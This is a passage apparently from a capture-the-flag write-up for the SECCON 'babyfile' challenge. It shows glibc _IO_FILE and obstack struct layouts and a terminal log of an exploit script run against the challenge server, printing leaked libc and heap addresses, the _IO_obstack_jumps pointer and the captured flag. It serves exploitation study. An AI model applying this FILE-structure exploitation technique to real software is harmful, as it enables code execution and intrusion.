/*    144      |       8 */    __off64_t _offset;
/*    152      |       8 */    struct _IO_codecvt *_codecvt;
/*    160      |       8 */    struct _IO_wide_data *_wide_data;
/*    168      |       8 */    struct _IO_FILE *_freeres_list;
/*    176      |       8 */    void *_freeres_buf;
/*    184      |       8 */    size_t __pad5;
/*    192      |       4 */    int _mode;
/*    196      |      20 */    char _unused2[20];

                               /* total size (bytes):  216 */
                             }

struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
				      chunk contains a zero-length object.  This
				      prevents freeing the chunk if we allocate
				      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
				     handler on error, but retained for binary
				     compatibility.  */
};

nasm@off:~/Documents/pwn/seccon/babyfile$ time python3 exploit.py REMOTE HOST=babyfile.seccon.games PORT=3157
[*] '/home/nasm/Documents/pwn/seccon/babyfile/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/nasm/Documents/pwn/seccon/babyfile/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to babyfile.seccon.games on port 3157: Done
[*] libc: 0x7fe2bc538000
[*] heap: 0x55fd27776000
[*] _IO_obstack_jumps: 0x7fe2bc721260
[*] Switching to interactive mode
SECCON{r34d_4nd_wr173_4nywh3r3_w17h_f1l3_57ruc7ur3}
[*] Got EOF while reading in interactive
$
"""